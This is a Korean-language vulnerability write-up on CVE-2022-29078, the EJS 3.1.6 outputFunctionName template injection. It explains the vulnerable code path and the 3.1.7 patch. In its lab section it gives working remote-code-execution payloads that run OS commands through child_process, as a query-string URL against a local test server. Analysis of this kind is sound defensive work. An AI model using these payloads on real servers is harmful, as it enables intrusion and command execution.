CVE-2022-29078 ejs(3.1.6) - outputFunctionName Injection Vulnerability
Node.js의 EJS 템플릿 버전 3.1.6 에서 발생한 취약점으로, 해당 취약점은 SSTI -> RCE로 이어질 수 있는 고 위험군 취약점이다.
사용자의 입력값이 data로 넘어 갈 때 settings['view options'][outputFunctionName]를 주입하면, 그 값이 그대로 컴파일 단계의 JS 소스에 삽입되어 임의 코드가 실행된다는 점을 악용한다.
ejs.js 코드발췌
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
}
위 코드를 보게되면, data 갞체 내부에 settings['view options']가 있으면, 이를 옵션 opts로 복사하도록 정의되어 있다.
즉, 사용자 입력이 옵션으로 승격되게 된다.
이 부분에서 공격자는 outputFinctionName을 심을 수 있게 된다.
( 공격자가 쿼리에 정확히 settings[view options][outputFunctionName]를 찍어야 옵션으로 들어간다.)
data는 종종 res.render(view, req.query) 같은 안티패턴으로 채워진다(쿼리스트링/바디가 들어옴). Express의 파서가 브래킷 표기(settings[view options][outputFunctionName])를 중첩 객체로 파싱하면, 이 값이 곧장 옵션으로 승격된다.
function Template(text, opts) {
```
options.outputFunctionName = opts.outputFunctionName;
```
this.opts = options;
}
이후 Templete 함수 일부를 보게되면, 위에서 복사한 값이 Options.outputFunctionName가 된다.
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
그리고 나서, 사용자의 입력값인 opts.outputFunctionNmae을 별도의 화이트리스트 와같은 식별자 검증 없이
prepended에 정의된 JS 코드에 삽입되게 된다.
이로인해 공격자가 x;process.mainModule.require('child_process').execSync('id');/* 같은 값을 주면,
결과는 대략 var x;process...execSync('id');/* = __append; 형태가 되어 컴파일 시점에 OS 명령이 실행 된다.
Express/qs가 a[b][c]=v → {a:{b:{c:'v'}}}로 파싱하기 때문.
EJS 특례 병합은 정확히 data.settings['view options']만 옵션으로 승격한다.
그래서 /?settings[view options][outputFunctionName]=...처럼 경로를 찍어줘야 opts.outputFunctionName까지 도달.
진단 실습

위 사진을 보게되면, GET 형식으로 데이터를 URL 로 전달하고 있다.
이 떄 id 파라미터로 전달된 값을 페이지상에 렌더링 하고 있으며, 현재 테플릿은 EJS 3.1.6버전을 사용하고 있다.
http://127.0.0.1:3000/vuln/page?id=2&settings[view%20options][outputFunctionName]=x%3B__append(%27%3Cpre%3E%27%2Bglobal.process.mainModule.constructor._load(%27child_process%27).execSync(%27ls%20-al%20/app%27).toString()%2B%27%3C/pre%3E%27)%3Bvar%20y
http://127.0.0.1:3000/vuln/page?id=2&settings[view options][outputFunctionName]=x;__append('<pre>'+global.process.mainModule.constructor._load('child_process').execSync('ls -al /app').toString()+'</pre>');var y

위 URL 와 같은 형식으로 취약점을 악용하여 요청을 보낼 경우, 화면에서 보이듯, SSTI가 성공적으로 먹혔으며,
RCE까지 가능하다는 것을 보여주고 있다.
취약점 패치(3.1.7)

- 식별자 정규식 추가
- var _JS_IDENTIFIER = /^[a-zA-Z_$][0-9a-zA-Z_$]*$/;
- 목적: 옵션으로 전달되는 이름이 정상적인 JS 식별자인지 검증할 기준을 만든다.
- outputFunctionName 검증 → 실패 시 즉시 예외
-
if (opts.outputFunctionName) {if (!_JS_IDENTIFIER.test(opts.outputFunctionName)) {throw new Error('outputFunctionName is not a valid JS identifier.');}prepended += ' var ' + opts.outputFunctionName + ' = __append;\n'; }
- 효과: 3.1.6에서 문제였던 식별자 자리에 원시 문자열 삽입(세미콜론 등으로 문맥 탈출) 경로를 차단.
→ settings[view options][outputFunctionName]로 들어오던 SSTI/RCE 벡터가 여기서 막힘.
-
- localsName, destructuredLocals[*]도 동일 검증
-
if (opts.localsName && !_JS_IDENTIFIER.test(opts.localsName)) throw new Error(...);for (...) {var name = opts.destructuredLocals[i];if (!_JS_IDENTIFIER.test(name)) throw new Error(...);}
- 효과: 다른 “이름성 옵션”을 통한 동일 유형의 코드 인젝션 표면도 함께 제거.
-
참고자료
https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js
'1-Day-Analysis' 카테고리의 다른 글
| 1-Day Analysis [CVE-2024-4577] (0) | 2025.04.29 |
|---|